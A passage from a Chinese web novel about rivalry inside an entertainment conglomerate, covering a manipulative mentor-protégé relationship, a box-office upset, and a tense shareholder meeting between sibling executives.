在她再度自贬之前,邱芜澜吻上了她湿润的嘴唇。 泪水的咸湿被邱芜澜稀释,她轻柔怜惜地抵着她,不容她抗拒地深吻,直到季语薇呼吸不畅。 轻微的缺氧刺激了颅内气压升高,垂体的感知神经系统受到限制,她由此变得迟钝,无法集中注意力。 邱芜澜格式化了她,在她无力自主思考的缺氧状态下,重新输入了指令:“你是最完美的,语薇。” “你值得一切最好的,没有人能比你更耀眼。”她搂着她,在她面前打开了云书,“现实没有你想象得那么可怕,来看看,网上是如何评价你的。” 季语薇瑟缩了一下,有些抗拒去看那些负面评价。 但邱芜澜抓着她的肩膀,半强迫着她面对手机。 当看见广场的评论时,季语薇愣了下,发现和一周之前自己浏览时的有了不同。 “华映再舍得花钱,也没法按着季语薇打吧,宋折凝这是有了新的后台?” “我们小雨好可怜,宋折凝有本事直接和秋叶开战啊,为什么只欺负我们家小雨。” “季语薇十七岁进入国家队,宋折凝四十岁还只是个流行歌手,望周知。” “#季语薇慈善晚会爆美#” “救命救命救命,小雨的新歌好听哭了TAT,已经单曲两百遍了。” “同事都以为我失恋了,每天上班眼睛都肿得核桃一样,没好意思告诉他们是路上听歌听的。” “距离小雨发上一首歌已经过了32天了!生产队的驴都不敢这么歇。” “风向变了,”邱芜澜一条一条往下滑,“太过强势,不是件好事。” 她停留在了最后一条上,“那么多人爱着你,他们翘首期盼你出现,你的一个眼神,就能让人群狂欢沸腾。” “语薇,你是数百万人的支柱,他们视你为生命的意义。你怎么舍得这样贬低自己。” 季语薇敛眸,她平静了下来,不再哭泣,只是嗓音喑哑了,残留湿意。 “我好不甘心。”她依靠在邱芜澜怀中,“芜澜,我忍耐了十年才回到你身边,她却从一开始就得到了我想要的一切。一想到承澜哥要请她回来,我就好痛苦、好嫉妒。我不要和她在一个屋檐下天天碰面。” 邱芜澜并不抗拒重签宋折凝,但必须是宋折凝如丧家之犬般的时候。 以宋折凝目前的状态返回秋叶娱乐,不仅会挑起不少内部矛盾,更重要的是,她会严重打击季语薇的自信心。 再是漂亮的女人,如果没有自信,就是落了灰的珍珠,毫无光彩可言。 “她不会回来的,至少不会是以现在的身份回来。”邱芜澜保证。 “真的吗?”季语薇期艾地蹙眉,“承澜哥这样为她造势,恐怕是下了决心。” 邱芜澜听出了她的未尽之语。 “制定决策的,不是董事长,而是股东大会。” 时空交错,这句话从邱芜澜口中一字不差地道出。 “我阻止不了董事长,但股东大会可以。” 那双哭得干涸的美眸中迸发出惊喜。 季语薇扭过腰,搂住邱芜澜的脖颈,“真的吗芜澜,你会为了我联合股东反对宋折凝么。” 她在“反对”之后,巧妙地接了“宋折凝”三个字,因此听起来并不刺耳。 “我会的。” 那层笼罩在季语薇身上的灰尘终于被抹去一撇,露出其下灼灼华光。 邱芜澜决不能容忍有人遮掩季语薇的光芒。 “没有人能动摇你的地位,我会处理好那些事。”她吻过季语薇湿红的眼角,“我带来了你喜欢的玩具,跟我去看看?” 别墅门外停着一辆面包车,邱芜澜的示意下,两名押运把车中的货物搬运下来,送进了地下二层。 看见推车上的锦盒时,季语薇便知道了里面装了什么。 三十件礼盒送去地下、拆开包装一一摆好,邱芜澜牵着季语薇下楼。 她取下墙上挂着的小金锤,放入季语薇手中。 季语薇站在原地,目露犹疑。 邱芜澜浅叹一声,包裹住了她的手。 她站她身后,操控着她抬起手臂。 金色的锤尖搞高扬起,旋即猛地下刺,砸进华美的彩瓷。 哗—— 精美高雅的艺术品被粗暴地破坏,变成一堆无用的垃圾。 季语薇瞳孔微直,直白的破坏感冲击着她的神经,不等她从毁灭性的快感中回神,邱芜澜已控制着她再度扬锤,砸向更加美丽、更加贵重的瓷器。 金属和脆瓷碰撞时的震感、瓷片破碎的震颤、空气震动引发的声响……这些细微的感触带来令人上瘾的手感。 那些由顶级工匠们精雕细琢出来的艺术品,在流水线生产的锤子下不堪一击。 绝妙的碎瓷声不绝于耳。 季语薇紧握着小锤,站在满地碎片中,酣畅淋漓地喘息。 她冻得发青的脸恢复了红润,眼里充斥着发泄后的快意。 邱芜澜早已不在她身旁。 第三件瓷器开始,不需要别人的牵引,她自己便停止不了手中的动作。 这三十件瓷器全部砸完,邱芜澜扫了眼手机。 “疗愈师已经到了。”她对季语薇道,“语薇,好好睡一觉。明天开始,回到你的舞台上。” 季语薇挺直了脊背,揩去下巴滴落的汗水。 被如此彻底的洗涤,再没有一粒尘埃可阻珍珠的熠彩。 三个小时的深度睡眠后,季语薇精神饱满,恢复到了最完美的状态。 她伸手触摸了下眼睛。 昨晚疗愈师为她催眠后,邱芜澜请的护理师似乎也来过了。不过几个小时,眼睛便消了肿,除眼白还有点发红外,和平常没什么不同。 想到昨天发生的事,她忍不住勾了勾唇角,泄露笑意。 那个不可一世的男人视她为蝼蚁。 宋折凝? 她要邱承澜知道,季语薇才是芜澜最爱惜的艺术品,她在她心中的地位至高无上、无人能替。 第89章 第八十九章 “不应该啊。” 第一期《singer》录制结束, 宋折凝纳闷地问芳若,“是不是有点离谱了,季语薇才37票。放出去谁能信。” “会不会是几家共同作用的结果。”芳若一边帮她卸妆, 一边分析,“华映肯定是捧您踩她的, 其他三位导师也怕自己面上不好看,所以乘着您的风去撕咬季语薇。” “只是没想到所有人都去季语薇身上咬了一口, 这才变成了这个结果。” “他们乘我的风,锅全由我来背。”宋折凝烦躁道,“全网都把我俩当对家了, 我的票那么高, 她的票那么低, 傻子也得怀疑我暗箱操作。” “录都录完了, 结果也没法改。”芳若劝道, “没事的宋姐, 下一期开始我们不运作了, 和她公平竞技,让观众自己投票。” “怎么,第一期我俩这么悬殊, 第二期马上持平——这不就更坐实我做贼心虚了吗!” “那怎么办呢。”芳若问。 宋折凝沉吟, “我思来想去, 这个节目不能参加。” “嗯?” “中场休息的时候,我找大师测了一下, 结果也不太好。”宋折凝道, “现在只录了一期,离开播还早,你去和节目组谈, 我要退出。” “可是宋姐……”芳若小声道,“您忘了么,我们是节目组临时邀约的。他们付了加急委托费,要是退出的话,我们的违约金也会比一般情况要高。” “高多少?” 芳若报了个数,宋折凝蓦地转身,惊诧反问,“多少?” 芳若苦笑,“早个两天还好说,前天节目组都官宣了导师阵容。节目是还没开播,可全网都知道您参加这档节目了。现在退出,就得是这个违约费用。” “这帮混蛋怎么不去抢?”宋折凝咒骂,俨然忘了自己当初正是为了紧急委托费用才答应参加的节目。 她的流动资金大半都投入了《蓝海》的拍摄中。 华映提供的那点资金根本不够拍出好片,为了达到满意的效果,宋折凝自己往里面垫了不少钱。 电影还没上映,她现在手头实在有点紧张,这也是她回国后疯狂参加各种活动的主要原因。 “您要不再考虑考虑?”芳若为难道,“和华映签的那份对赌协议,要求您今明两年净利润3.7,咱们还是能省一点是一点。付了违约金,您回国的这一整个月都打水漂了。” “要了命,还有这一茬呢。”宋折凝扶额。 要只让她自掏腰包出点血也就罢了,可为了让华映支付秋叶娱乐对她的索赔,宋折凝被迫签下了对赌协议,答应华映回国后两年内完成3.7亿的净利润目标。 她的所有收益、开支都会被记录下来,一旦完不成对赌,除了要自己垫补上欠缺的部分,华映还会修改和她的艺人合约。 到时候怎么改全都由华映说了算,给什么资源也全要看华映脸色,比起赔钱,修改合约这一条更令宋折凝忌惮。 现在电影还没有上映,能赚多少尚未可知。这个时候,她没有冒险的胆量。 “赶紧去和院线确认下排片。”想到这里,宋折凝也顾不上和季语薇那点破事了,“下周就是除夕了,一定要做足宣传。” “好嘞。”芳若弯眸。 宋折凝退出《singer》的想法就这样不了了之,没了下文。 她和娱乐行业的注意力都高度集中在了除夕档的贺岁片上。 业内传遍了宋折凝和华映的对赌,业外则传遍了宋折凝拍戏的消息。 宋折凝拿下影后有七.八个年头了,但在导演的行业里,她只是个新人。 新晋导演通常不被看好,就连宋折凝自己也没什么底气,为此,她打出了一张安全牌—— 保底发行。 发行方的东宝影业评估出了18亿票房,不管电影能不能达到这个数,东宝影业都会在上映七天内支付给宋折凝。 相反,如果电影超出18亿,那么超出部分的分成将大大利于东宝。 宋折凝一面觉得自己的作品远不止区区18亿,说不定会在国内票房史上留下一笔,一想到超出的部分要被发行方分走一大块,她就心疼得不行。 可另一方面,她又担心自己是在痴人说梦。 这种自我良好感极有可能是因为没有经验,或许最终的票房会惨不忍睹。 怀揣着忐忑不安的情绪,宋折凝失眠了整整一周。 在上映倒数第三天晚上,预售结果出来的那一刻,宋折凝懵了—— 预售破3.2亿。 巨大的喜悦将她砸得不知所措。 随即而来的是上映当天破5亿、三天破18亿、一周破30亿的金涛喜浪。 各大院线延长了《蓝海》的排片,这部讲述国内农村女青年在国外创业的传奇之旅的片子掀了久消不散的热潮,一时间席卷全球影院。 最终,在它下架的最后一小时,突破了60亿票房大关,荣登国内票房史第四。 压在它上一名的,还是华君润前年斩获亚缇丝影帝的片子。 这是一场值得载入现代娱乐史册级别的成功,不管是《蓝海》还是宋折凝,都获得了空前瞩目。 “抱歉。”华君润敛眸,“没能达成你的预期。” 这是华君润在秋叶娱乐过的第一个新年,理所应当的,他同样参加了今年的贺岁档,所演电影位居今年贺岁档第二,却和第一名《蓝海》相差了近20个亿。 40亿票房,这是个相当漂亮的数据,但在《蓝海》60亿的光辉下平庸无奇。 邱芜澜倚站在办公室落地窗前,定定望着手中除夕档和Q1的各项财报。 “不怪你。”她眸色微暗,“就是玛丽莲梦露在世,也超越不了宋折凝。” 这根本不是电影上的较量。 华君润观察着邱芜澜的表情,判断出她没有向自己倾诉的想法后,玩笑着缓和气氛,“就算你用玛丽莲梦露来夸我,我也还是有自知之明的。” 邱芜澜反应过来,超越《蓝海》票房的NO.3,正是华君润主演。 她的眉眼一瞬间松缓了。 “谢谢。”她抬手,抚上华君润的侧颊。 这张侧脸是第三名的封面和标志,她轻吻了这光辉的一页,“那年你超越宋折凝,把她和我从前三拽下来时,气得我在健身房待了三小时,可现在,你是我莫大的底气和安慰。” 如果没有签约华君润,现在秋叶里已经没了电影史前五的主演,这会大大降低各类金融机构对秋叶娱乐的评估。 邱芜澜庆幸自己那天没有放过华君润,将他收入了囊中。 华君润揽着她的腰肢,低头吐出流利的英文:“Sometimes good things fall apart so better things can fall together.” 邱芜澜偏头,“这是她在哪说的?” 她没听过玛丽莲梦露的这句话。 “我也不知道。”华君润温柔并理直气壮地说,“《犯罪心理》说这是她说的,我没有考证过。” 邱芜澜无奈。 “本来要庆祝《红丝鸳》杀青的,听说导演和编剧要改戏,那就等我开完会回来再说吧。” 《红丝鸳》赶在年前拍完了,编剧又有了新的灵感,想加一场大场面打斗。 评估之后,邱芜澜同意了,两周内会补拍完毕。 “我会在家里准备好你喜欢的东西。”华君润亲吻她的额头,“芜澜,我不清楚到底发生了什么,但你的想法是最重要的。 “如果你确认集团利益高于一切,就不要把秋叶娱乐这个小小的子公司看得太重;可要是你觉得这家公司承载了你的心血,那就不要为了冠冕堂皇的大局妥协、牺牲自己。” 邱芜澜阖眸。 华君润不再让她感到激情了,可与他相处令她平静。 这种平静偶尔让邱芜澜想起季尧。 季尧比华君润在她身边更久,本该比他更加贴心,或许是她将他视为家人,因而他总能轻易令她亢奋心悸。 邱芜澜将下巴搁在他肩上,“也许我一直在找的,就是你这样的丈夫。” 猝不及防的两个字令华君润身体骤僵。 他悄悄蜷缩起手指,压抑着澎湃的心绪,故作轻松地笑道,“什么话,你真是十年如一日的傲慢。” “你要是想听,我也可以换好听的说法——”邱芜澜淡淡道,“君润,你是我一直在找的肋骨。” 邱芜澜的台词功底一如既往的糟糕,华君润失笑,“浪漫的台词用寡淡的语气说出来,只会让人尴尬。” 他后退些许,捧住了邱芜澜的脸。 “芜澜,该是这么说——”鼻息相缠,他汲取着她的呼吸,眉眼唇畔皆是深不见底的情愫,“我才是你一直在找的肋骨。” 邱芜澜回视着他,自那满载爱意的凤眸中窥见一丝偏执。 “这样说才对。”片刻,他莞尔,“这样说,才能让万花丛中过的邱总,都对我移不开眼睛。” “确实移不开眼睛,让我一瞬间想起了周纨、李渡青和陈晓雯。” 华君润懵了下:“什么?” “你的荧幕CP们。” 邱芜澜展眉浅笑,“别误会,我不是在吃醋,只是这些年我在屏幕上看你深情款款的模样更多一点,海马体储存的就是你和她们的画面。” “今年李渡青和陈晓雯还来了集团年会,”邱芜澜回忆道,“能接住你的戏的,果然也不是普通人,她们确实很让人喜欢。” 华君润挫败道,“这么好的气氛,你非要谈这些么。好吧,我明白了,我会尽量少接点爱情戏份。” “我说了我没有吃醋。”邱芜澜诚恳解释,“我不是那种宽以待己严以律伴侣的人。” “我知道,否则你不会到现在都不过问我离开后的感情经历。”华君润苦笑,“其实,我倒是希望你能吃点醋的。” 刚谈恋爱时她便是那样,分开多年,依旧毫不在乎他是否有过别人。 正如邱芜澜所说,她只是想找一个符合她要求的丈夫。 她太傲慢,也太冷漠,有时候华君润甚至怀疑,邱芜澜对他根本就没有爱,她只是单纯擅长调动他人情绪。 她能让一个出道十数年的女星重燃斗志,自然也能让一个本就爱她的男人沉浸在她也喜欢他的幻想里。 “是么。”邱芜澜有些意外,“我以为男明星,尤其是男演员都很不喜欢恋人对他们的感情戏斤斤计较。” “换作我们刚在一起的时候,我会这样。”华君润轻笑,“可到了这个年纪,争吵更像是一种情趣,我很乐意看见你斤斤计较的可爱模样。” 邱芜澜笑了出来,“你终于理解了。” 这一笑驱散了贺岁档票房出来后,一直萦绕在她眉宇间的阴翳,“这就是我当时热衷于捉弄你的原因。每次你气得像是只甩头跺脚的小狗时,我都觉得分外有趣。” 华君润挑眉,“你把我当狗看?” 邱芜澜耸肩,“我还把你当狗骑过。” 她无辜而大方地挑衅,“怎么样呢?” 华君润气得轻咬她的鼻尖,脸上却是笑了,“你要是喜欢,我们可以养一只真的小狗,由我来照顾。” “我会考虑的。”看见在门口出现的简,邱芜澜结束了对话,“我该走了。不用联系我,去集团开会的这段时间,我的心情应该不会很好。” 她好不容易被他逗笑,才刚舒展了一瞬,马上又要面对那些让她不愉快的事务,华君润无比担忧。 邱芜澜取下大衣,迈步朝简走去,前往瑚城另一面的秋叶集团总部。 车子驶入园区,冬日下散发着科技冷光的主建筑出现在邱芜澜视线中的刹那,她便本能地朝38层望去。 那是邱承澜办公室所在的地方; 是邱芜澜每次来,每次都会不由自主看向的地方。 集团第一季度总结会议在最高层的会议室开启。 当邱芜澜进入会场,她第一眼便于核心坐席上的邱承澜交错。 这是第一次,邱芜澜携带着反对邱承澜的提案而来,做好了辩驳兄长的准备。 第90章 第九十章 秋叶集团每个季度都会召开业务总结大会, 各主营业务的主要负责人汇报上一季度的业绩情况、接收集团制定的下一阶段目标,再视情况向集团提出所需支持。 近三年,邱芜澜负责的秋叶娱乐俨然已是集团盈利的重要组成部分, 与秋叶文娱并驾齐驱。 若二者合并,全部交到邱芜澜手中, 她将把控占比集团28%的营收。 所有人都知道,这是既定的事实, 邱岸山很快就会把文娱分到邱芜澜手下。 最近的机会,是她明年三十岁的生日。 “接下来,请秋叶娱乐副总邱芜澜女士进行汇报。” 紧跟集团核心业务之后, 邱芜澜开始了秋叶娱乐第一季度的汇报。 她将这一季度的各项数据公布, 着重讲述几位拳头艺人的状况, 接着便等待集团提问。 “我先来吧。”市场分析部的副总举手示意, “这个季度之前, 秋叶娱乐的增长一直稳定, 包括这个季度在内的成绩其实也还算不错。” 听见这个开头, 邱芜澜已然预料到他后面要说的是什么。 “但我们也看见了,去年离开的宋折凝,在贺岁档上创造出了怎样的盛况。” “集团好奇的是, 宋折凝有这样优异的导演天赋, 为什么秋叶娱乐此前从没有挖掘过?” “针对这件事, 人资部也想插一句嘴。”人力总监跟着举手示意。 “宋折凝突然离开秋叶娱乐,到底是什么原因?您当时给出的理由是华映在背后挖人, 基于您的信誉, 集团接受了这个理由。” 他探究地看向邱芜澜,“可宋折凝已经在秋叶干了十多年,华映到底能为她开出多好的条件, 才让她这样和秋叶撕破脸皮? “贺岁档出来后,我们也在反思,是不是因为秋叶娱乐的安排不够合理,让艺人觉得没办法发挥自己的特长、实现自我价值?比如,她之前有和您提过自己想拍电影吗?” 看见《蓝海》预售票房的那一刻,邱芜澜就知道自己逃不过这些诘问。 即便他们语气和缓,但在这个场合、在用到她身上时,这些言辞已称得上很不客气。 邱芜澜为季语薇安排了极限负荷的行程,因为情况并非像邱承澜所说的“秋叶娱乐运转安稳,不需要压榨艺人”。 看见宋折凝那样高的热度,集团绝不会无动于衷,相关部门会立刻对她问责。邱芜澜唯有拿出比宋折凝在时更加漂亮的业绩,才有些许转圜的余地。 旧的艺人已被开发到了饱和,能打出新的水花的只有新人。 宋折凝才离开一年,一年时间要新苗马上开花结果是不切实际的。 邱芜澜排开手中的牌,能在短时间内立刻出大成绩的,无非就是华君润和季语薇。 她不得不将他们利用到极致。 她知道他们这段时间很累,知道自己有些过于压榨了,可她同时也支付给了他们高昂的加班费——不单是钱,邱芜澜花了心思去补偿他们,把自己和一座城堡送到了他们手里。 不曾想,《蓝海》的成就超出了一般状况。 秋叶娱乐的财报再是好看,也抵消不了《蓝海》的光辉。 集团不打算因秋叶娱乐创下新高就放过她。 “没有。”邱芜澜如实回答,“我进入秋叶娱乐的十年间,宋折凝从未向我提出过当导演的想法。” 人力总监不接受这个答复:“即便她自己不说,您也应该知道,人资管理中有很重要的一条,叫做‘挖掘隐性能力’。” “我明白您的意思。”邱芜澜道,“不过,秋叶娱乐的主营业务在艺人,公司暂时还没有开拓导演、编剧方面的计划,挖掘隐性能力的前提,是我们能够提供对应的岗位。” “其次,我也想了解下,市场部有做过《蓝海》的映前预测么。” 市场部的几人脸色微变。 “秋叶娱乐的市场部做过了。”不需要他们的回答,邱芜澜兀自道,“综合她回国后空前高涨的热度,以及‘新晋女导演’、‘影后首次执刀’等多项光环加持后,我们市场部作出的票房预测在47亿以下。” 她对上集团市场分析总监有些躲闪的目光,“想必这个数值,和您预计得相差不大。” “我不认为是两个经验丰富的市场团队同时计算失误了。”邱芜澜道,“《蓝海》的票房的确是个奇迹,奇迹之处在于它的运气、巧合以及各种阴差阳错下获得的机遇,绝非是宋折凝本身的导演能力。” “60亿票房是一个华丽的泡沫,是机缘巧合的产物,不会再出现第二次。而秋叶娱乐的盈利、市值正在稳步提升,不含一丝偶然性,正如华君润这次的票房,它不含一滴水分。” 核心席位的众人对视了几眼,姑且接受了这个解释。 首位的邱岸山笑眯眯地望着汇报席上的女儿,两旁的董事看见了他的和颜悦色,却没看见他像对待其他汇报者那样,给出认可的掌声。 “偶然也好,实力也罢,宋折凝大获成功是不争的事实。” 微冷的男声突兀插入。 继部门提问之后,董事会主要成员之一、集团副总执行官邱承澜开了腔。 “你无法解释有些艺人天生携带路人缘;有些人就是在特定领域上一帆风顺。” “在没有数据支撑的情况下,你说宋折凝不会再有第二个奇迹,那我同样也可以说,或许宋折凝就是那个拍一部爆一部的运气之子。” 那双锐利的黑眸紧盯着台上的女人,将她的解释全部驳回,“你说公司没有开拓导演岗位的计划,所以你就没有去挖掘宋折凝编导方面的潜力? “没错,秋叶娱乐的确没有过开拓编导方向的计划,那是因为作为秋叶娱乐的董事长,我从来没有收到过这方面的需求。你作为代理人,隐瞒了公司发展需求,倒打一耙说公司没有这方面的规划——是谁决定的?有谁告诉过你,公司没有开拓新板块的打算?” “要是秋叶娱乐的管理者是在用这种思路做事,那么今后集团是不是不需要再给秋叶娱乐开新业务的权限了,反正你们不打算创新,只想一辈子啃老本而已。” 如果说市场和人资的提问还只能算是犀利,那么邱承澜这番话已完全到了斥责的地步,连台面上的体面都没给邱芜澜留一分。 会议室内愈发静了,连比邱承澜年长的大股东们也不敢轻易开口。 他们惊疑着邱承澜的不留情面,观察着两名继承人以及当权者之间的风吹草动。 对上那双和自己相似又不同的黑眸,邱芜澜只觉得砭骨寒凉。 她是那样尊敬、崇爱自己的哥哥,不允许任何人诋毁他半句,就连季尧有一点揣测他的心思,都被她当场驱逐。 到底是为什么……他要这样羞辱她、践踏他们之间的感情。 邱芜澜不想继续什么开拓导演板块的话题,那本就是个欲加之罪的坑,多说无益。 会议之前,她两次联系邱承澜,想要再和他谈一谈。 到了今天这个地步,邱芜澜骤然发现自己有多么无知。 她不知道邱承澜对宋折凝怀抱了什么样的感情、不知道邱承澜对秋叶娱乐的规划,也不知道邱承澜到底是如何看待她的。 她尝试和邱承澜沟通,可邱承澜拒绝了她,直言:有什么话可以在会上说。 第二次,他更是直接挂断了自己的电话。 邱芜澜没有尝试第三次。 烧灼般的愤怒、委屈和怨恨之中,某些遥远的记忆蓦地跳出了脑海。 像是被谁设定好的程序,当邱芜澜的负面情绪达到某一极限时,大脑便会自动播放这一回忆。 记忆之中,密密麻麻的黑色皮筋勒在柔软的熊娃娃上,淡粉色的小熊如被毒蛇淹没,只露出一颗头颅。 那些黢黑的皮筋被一只白皙漂亮的手一一解下。 邱芜澜极力维持着平静,每解下一个皮筋,她心中的怒意便随之淡去一分——并非蒸发那般悄无声息地消去,而是刀刮染料般,生生将感情色彩层层刮下,直至剩下最后一层寡淡无味的印痕。 色印残留的基底让邱芜澜得以识别出它是生气、是悲愤,是何种情感;但它已淡得发白,只堪堪够她分析识别,不足以令她心生波澜。 最终,当最后一个皮筋从熊肚子上脱下时,她诚挚地询问,“那么,您目前对我司的诉求是什么呢。” 会议前没能求得的答案,她如邱承澜所说的那样,在会议上提了出来。 邱承澜搁在桌上的指尖微蜷。 他再度感受到了青年时的那股情绪—— 名为恐惧。 二十二岁的邱芜澜立在高尔夫休息室里,抱着文件,对他微笑。 「集团在不断扩张,不可避免会遇到没接触过的新业务,季尧是不可或缺的人才,我们需要他。」 「哥哥,泽安泽然没必要活得那么辛苦。培养季尧,也是为了他们好」 那一刻,邱承澜险些拗断手中的球杆。 「芜澜,你很理智,为家族贡献良多。」 「但有的时候……连我都畏惧你的冷酷。」 他余光瞥向主席位上的邱岸山,却见他嘴角弧度愈深,两眼微睁,如宝石商人看见稀世宝石般,赞叹地望着邱芜澜。 这个男人是疯了么。 邱承澜怒不可遏,难道他一点都不觉得,自己二十几岁的女儿在这一场景下居然像个AI一样理智、冷静,有什么不对劲么! 不止是邱岸山,在场无人不惊叹邱芜澜的理性与冷静。 被亲哥哥、被直属上级当众打脸,她没有反驳、没有争吵,甚至没有自证。 那张清雅如兰的脸上甚至无有一丝赧色,这样的反应,着实令人叹服。 沉稳当然是好事,如果方才开口的不是他,邱承澜会很高兴看见邱芜澜如此反应。 可偏偏是他。 他再清楚不过,邱芜澜有多爱他。 再是冷静理性的人,被戳中痛点都会出现情绪起伏,他的妹妹那样在意他,此时此刻却平澜无波。 这不是沉稳、理性;邱芜澜也没有感情缺失,她不是体会不到喜怒哀乐。 这是病态,是异常,是扭曲。 “我的诉求很简单。”邱承澜开口,“把错失的东西弥补回来。” 邱芜澜开口,“我能理解为:您是想重签宋折凝么。” 邱承澜颔首。 邱芜澜暗叹,来之前准备的资料到底还是要用上了。 她轻触屏幕,一张图表出现在屏幕上。 “去年这个时候,大会对起诉宋折凝达成了统一,那么,我想集团在乎的并非‘宋折凝作为艺人的效益’,重新签约,旨在‘宋折凝作为导演的效益’。” 讲到这里,她去请示邱承澜,“没有偏差吧?” 邱承澜默认。 她便继续往下,“基于此,请看宋折凝的具体投产分析表。” “新的投入成本主要在两个方面,一是为将宋折凝的导演能力变现,秋叶娱乐需要开拓全新业务板块,建立新架构;二是想要重签宋折凝,必然要免去她的竞业违约金,并从华映手中高价挖人。” “不谈开拓新业务和挖人,根据一审的判决书来看,仅是违约金的价格就达到了3亿。 “投资部和市场部预估的这两样成本总计保底约为4.9亿。这4.9亿是我们需要在短时间内拿出的首笔支出。” “而宋折凝回报率又有多少?” 她的语速平缓,收音却很干脆,“进入导演这一身份后,宋折凝势必无法太兼顾艺人角色。” “将宋折凝的艺人收益降至最低,仅看她的导演收益:以《蓝海》这个奇迹为例,这次《蓝海》的最大受益者,东宝影业纯利2.1亿。” “按照最大获利方的收益进行计算——” “《蓝海》是第一个奇迹。”她扫试过全场,在众人若有所思的目光中,“我们需要她有三场奇迹,才能用第四场奇迹实现盈利。” “这个投产比和风险性,无需我再多说。” 她侧转腰身,调出另一张图表,“请看,这是秋叶娱乐近两年的波士顿矩阵。” “宋折凝才刚拍了一部电影,我确实拿不出数据分析她在导演行业里到底是个泡沫,还是个运气之子,但我有她近十年在演艺上的数据。” “多年来,宋折凝一直位于金牛象限。任一产品都有其生命周期,哪怕算上《蓝海》这一成就,也无法阻挡她滑向瘦狗象限的步伐。” “将大把资源压在一个偏瘦狗的金牛上绝不理智,与此同时,重签宋折凝,必然打击到季语薇。” “对比季语薇和宋折凝进公司第一年、盈利巅峰年,以及两人27-29岁三年间的各项数据。” “季语薇在每一个时间段的商业价值都超越了宋折凝。” “她无疑是第二象限里最高位、最瞩目的明星产品。” “作为秋叶娱乐的经营决策者,我谨代表自己和公司几位董事,反对重签宋折凝。” 会议室内,短暂的沉寂后,漫开了窃窃私语。 众人讨论起了邱芜澜给出的报告和数据。 邱承澜定定望着台上的邱芜澜。 他面沉如水,冷峻地凝望她,一字一句地开口,“邱芜澜,你是觉得,你的想法比我更好?” 这句话邱芜澜有些耳熟。 恍然之间,似乎有什么地方被她忽略了。 众目睽睽之下,她无暇顾及这一丝异样感,回以邱承澜同样的目光。 “我只是罗列数据、客观阐述。” 邱承澜冷声道,“秋叶娱乐的创始者和董事长是我,如果我一定要签约宋折凝呢。” “您当然可以提出您的想法。”邱承澜回答,“但制定决策的,不是董事长,而是股东大会。” 邱承澜一顿,蜷起的手指缓缓舒展而开。 “啪、啪、啪。”主席位上传来了掌声。 邱岸山依旧是笑眯眯地靠在座位上,继他鼓掌之后,两边的董事、经理们纷纷跟随。 顷刻间,偌大的会议室内掌声雷动不休。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第九十一章 这场集团会议, 如邱芜澜所想的顺利应对了过去,而她的心情也一如她所想的并不算好。 邱岸山偏向了她,用掌声阻止了哥哥往下追究, 打断了这场兄妹争战。 可哥哥决定做的事,从来不会轻易放弃, 等大会结束,他一定会着手动作。 她必须在他之前拉拢足够票数的股东。 「你是觉得, 你的想法比我更好?」 会议上那句话犹在耳畔,回去的路上,邱芜澜想起了自己觉得耳熟的原因。 似乎每次他们的想法出现分歧时, 哥哥都会说出类似的话语。 邱芜澜接不住这句话, 每一次, 都会在这句话后退缩。 邱承澜虽然有些独裁傲慢, 但绝不轻视妹妹的建议, 出现真正分歧的次数其实不多。 邱芜澜一直选择退避, 结果也都证明了邱承澜绝大多数时候是正确的。 至于邱芜澜的选择是否错误——不得而知。 他们之间的争议很少是是非题, 因此“邱承澜的成功”并不能直接得出“邱芜澜的方案会失败”这一结果。 到最后邱芜澜也不知道自己是否正确,可哥哥的方案成功了,为公司带来了利益, 这就足够。 她不是需要依靠才能立足社会的年轻人, 邱芜澜既不缺展示能力的平台, 也不再年轻气盛、非要证明自己的正确不可,所以她选择了尊重。 尊重兄长, 也尊重自己的上级、公司的董事长。 她一直如此, 直到这一次。 邱芜澜绝不认可重签宋折凝的提案。 “小姐,”同样参与了会议的简知道方才发生了什么,说话时不由得放轻了声音, “回家吗,还是去华君润那里。” 邱芜澜靠在座背上闭目养神,“季语薇现在在家么。” “她现在应该在录制《游戏吧》。” “那就回家吧。”邱芜澜只觉得筋疲力尽。 几天的会议耗费了她所有心力,她要用尽力气,才能在邱承澜面前维持冷静。 邱芜澜始终不能明白,哥哥为什么会这样对待自己。 她唯一能想到的理由,就是他爱上了宋折凝。 也许是男女之间的爱情,也许是她对季语薇那样的爱,不管是哪一种,宋折凝在哥哥心里地位都超过了她。 想到这里,邱芜澜便连支撑眼睑的力气都提不起。 三天的会议,实在太长、太累了。 …… “邱总!” 迎接邱承澜的是一张红光满面的脸。 贵宾室中的男人眉开眼笑地朝他张开双臂,“快来快来,这儿的视野不错。” 邱承澜越过他,看见了单侧玻璃墙后的赛马场。 钱秘书反手关上门,微笑着同热情洋溢的男人打了招呼,“田总。” “钱秘书,来来来一起,快坐。” 贵宾室内已摆好了茶点酒水,他们在观赛席落座,正对下方的赛场。 钱秘书斜看着情绪高涨的男人,笑道,“田总兴致很高啊。” “是啊,今天有几匹马真不错,看得我手痒难耐,就等着您和邱总过来呢。”男人打开赌马场提供的平板,调出选号界面后,侧身捧至邱承澜面前,“来,邱总,您先请。” 邱承澜没有接,“我对这方面不了解,跟着田总看个热闹就好。” 男人的手顿在半空,扭头又去看钱秘书,钱秘书推辞,“您别看我,我就更不会相马了。” “那,我就选了。”他乐呵呵地在平板上熟稔地点击,一口气选好了接下来三场比赛里的马。 钱秘书见此呦了一声,提醒他办正事:“看来田总最近是赚了不少,出手真是阔绰。” “那不也是沾了邱总的光么。”男人从选马的兴奋中回神,连忙去摸西装内袋,“对了对了,见到邱总太高兴,差点把正事给忘了。” 灰色的西装里掏出了一本黑色的支票夹,他用双手将皮质的小夹子递给邱承澜,堆挤着笑意,“还得多谢邱总,这是您的那部分。” 邱承澜接过,打开扫了眼里面的打款票据后,眉宇间终于浮现半分笑意。 那笑意的尽头是几分戏谑,他满意颔首,“是我该多谢田总愿意帮我这个忙。” “哪里哪里。我们东宝影业上市不久,论名气、论资本,确实是打不过其他发行商。要不是邱总鼎力支持,我们怎么能从其他大公司手中抢到《蓝海》的保底。” 邱承澜将支票夹转手交给钱秘书,“您不怪我分了杯羹就好。” “那也得我们吃得下啊。这么大碗羹,行业的龙头才出了16亿,多一个子都不肯了,这年头谁家有那么多现钱。”他紧接着哄抬邱承澜,“还得是邱总豪横,一出手就是咱们全公司两三年的收入。” “我也是准备了一段时间的。” “什么?” “没什么。”邱承澜起身,“比赛开始了,我们两个门外汉就不打扰田总雅兴了。” “这就要走?”田总惶恐道,“您要是不爱看马,咱们换个地儿去。” “止步。”邱承澜抬手,“好意心领了,只是接下来还有工作。” 